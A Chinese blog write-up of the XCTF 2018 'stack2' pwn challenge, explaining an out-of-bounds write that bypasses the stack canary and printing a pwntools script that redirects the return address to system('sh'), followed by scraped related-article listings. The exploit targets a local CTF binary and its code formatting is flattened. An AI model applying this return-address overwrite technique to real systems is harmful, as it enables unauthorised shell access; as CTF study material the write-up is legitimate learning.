---XCTF 4th-QCTF-2018

前言,怎么说呢,这题目还是把我折磨的可以的,我一开始是没有看到后面的直接狙击的,只能说呢。

我的不经意间的粗心,破坏了你许多的温柔

1.气的我直接检查保护:



32位程序,开启了canary保护。

2.ida查看:





首先放的第一幅图片呢,是我一开始以为可以溢出的,也可以看见我旁边标注了一个maybeoverflow。

  • 但是是不可以的,因为首先由于这里的 i 最大上限100,可能有的人头铁就要说了,这里v7可以慢慢溢出去修改i,(和我一样)

    可是这里v13的存储位置是和i有关的,所以不可能让你能一直溢出,后面看到了canary,我又去找了找格式化漏洞,没有找到,最最最离谱的是:

    我居然想着去修改tls字段的canary数值和canary数值(有这个方法,但是这里用不了)

最后看到当我输入3的时候,那里有一个非常明显的定向狙击。

那就很简单了,去开心的写exp,确定 偏移量为74



那就v13[0x74]=???v13[0x75]=???

结果就是失败,为什么呢???

答案是这道题它后面会对栈帧做一定调整,也就是ebp上面一位高地址的地方并不是返回地址,我们这里可以结合着汇编代码看一下



在没有运行结束前,ebp下一位标的返回地址是0xffffd15c,但是我们看看ida里面的代码:







导致跳的返回地址是在ebp的高0x10个字节出,所以我们定向爆破的时候呢,其实狙击的位置是v13[0x84]的地方向上四个字节,所以初步的代码应该是: 不想写了,懒得改了

有人说服务器上没有hackhere那个函数的里面的shell执行器bash,所以要用sh,这里就有个小tips;system('sh')也是可以获得shell的,这样的 话,我们就可以写exp了,我们先去找system@plt表的地址:



我们再去找sh的位置:



这里用第一个,因为第一个字符串参数是有结束符的:

然后就直接写exp吧:(exp默写的别人,因为别人写的确实漂亮):

from pwn import *

p=process('./stack2')

p.recv()
p.sendline('1')
p.recv()
p.sendline('1')
offset=0x84
def leak(offset,value):
p.recvuntil("5. exit\n")
p.sendline('3')
p.recvuntil("which number to change:\n")
p.sendline(str(offset))
p.recvuntil("new number:\n")
p.sendline(str(value)) system = [0x50, 0x84, 0x04, 0x08] sh=[0x87,0x89,0x04,0x08] for i in range(4):
leak(offset+i,system[i]) for i in range(4):
leak(offset+8+i,sh[i]) p.recv() p.sendline('5') p.interactive()

3.这道题目得到的启发:

  • 1.首先呢就是每个地址前面标的地址是就是这个地方最后一位低地址的,也就是我画个图看看

    2.学到了system('sh')是可以直接执行获得shell的

4.还没有学到的东西:

  • 1.栈转移
  • 2.修改stack——fail的got表地址.
  • 3.关于修改got表的题目我一道都没有做过32位还有点准备,64位,没有准备
  • 4.关于直接同时爆破tls字段的和canary段的数值。

我真垃圾,呜呜呜,居然忘记了32位传递参数中间的返回地址!!!



嘿嘿,放上我的龙!!!

Stack2 攻防世界题目分析的更多相关文章

  1. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  2. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  3. 攻防世界Web新手解析

    攻防世界入门的题目 view source 禁用右键,F12审查元素 get post hackbar进行post robots 直接访问robots.txt,发现f1ag_1s_h3re.ph文件, ...

  4. 记录下做攻防世界的misc题

    0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...

  5. RSA脚本环境配置-攻防世界-OldDriver

    [Crypto] 题目链接 [RSA算法解密] 审题分析 首先拿到一个压缩包,解压得到文件enc.txt. 先不用去管其他,第一眼enc马上联想到 RSA解密.接着往下看 [{"c" ...

  6. XCTF攻防世界web进阶练习—mfw

    XCTF攻防世界web进阶练习-mfw题目为mfw,没有任何提示.直接打开题目,是一个网站 大概浏览一下其中的内容,看到其中url变化其实只是get的参数的变化查看它的源码,看到有一个?page=fl ...

  7. 攻防世界 Misc 新手练习区 ext3 bugku Writeup

    攻防世界 Misc 新手练习区 ext3 bugku Writeup 题目介绍 题目考点 WinHex工具的使用 linux磁盘挂载mount命令 Writeup 下载附件拖进winhex分析一下,查 ...

  8. 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup

    攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...

  9. 攻防世界 WEB 高手进阶区 easytornado Writeup

    攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...

随机推荐

  1. Swagger-初见

    目录 Swagger简介 SpringBoot集成Swagger 配置Swagger 配置扫描接口 配置Swagger开关 配置API分组 实体配置 常用注解 Swagger简介 前后端分离 前端 - ...

  2. 10个实战及面试常用Linux Shell脚本编写

    来自:http://blog.51cto.com/lizhenliang/1929044 注意事项 1)开头加解释器:#!/bin/bash 2)语法缩进,使用四个空格:多加注释说明. 3)命名建议规 ...

  3. python爬取疫情数据存入MySQL数据库

    import requests from bs4 import BeautifulSoup import json import time from pymysql import * def mes( ...

  4. Windows 11抢先体验

    SHA1值: 3B6DA9194BA303AC7DBBF2E521716C809500919C 谷歌云:https://drive.google.com/file/d/1sH0cBI9hwh8EdlV ...

  5. rabbitmqctl 命令行管理工具

    1. 用户管理 用户管理包括增加用户,删除用户,查看用户列表,修改用户密码. (1) 新增一个用户 rabbitmqctl add_user Username Password (2) 删除一个用户 ...

  6. synchronized Lock(本地同步)锁的8种情况

    Lock(本地同步)锁的8种情况 总结与说明: * 题目: * 1.标准访问,请问是先打印邮件还是短信 Email * 2.email方法新增暂停4秒钟,请问是先打印邮件还是短信 Email * 3. ...

  7. Java之SpringBoot自定义配置与整合Druid

    Java之SpringBoot自定义配置与整合Druid SpringBoot配置文件 优先级 前面SpringBoot基础有提到,关于SpringBoot配置文件可以是properties或者是ya ...

  8. 使用Gitmoji进行git commit的快速查阅指南

    目录 前言 1. 查阅方法:脚本法 1.1 利用 VS Code 编辑多行文本快速写脚本文件 1.2 给脚本添加可执行权限 1.3 修改环境变量 PATH 使脚本在所有路径下都可以执行(全局执行) 2 ...

  9. P3980-[NOI2008]志愿者招募【费用流】

    正题 题目链接:https://www.luogu.com.cn/problem/P3980 题目大意 \(n\)天,第\(i\)天需要\(A_i\)个志愿者.有\(m\)种志愿者,第\(i\)种从\ ...

  10. P5825-排列计数【EGF,NTT】

    正题 题目链接:https://www.luogu.com.cn/problem/P5825 题目大意 对于每个\(k\),求有多少个长度为\(n\)的排列有\(k\)个位置上升. \(1\leq n ...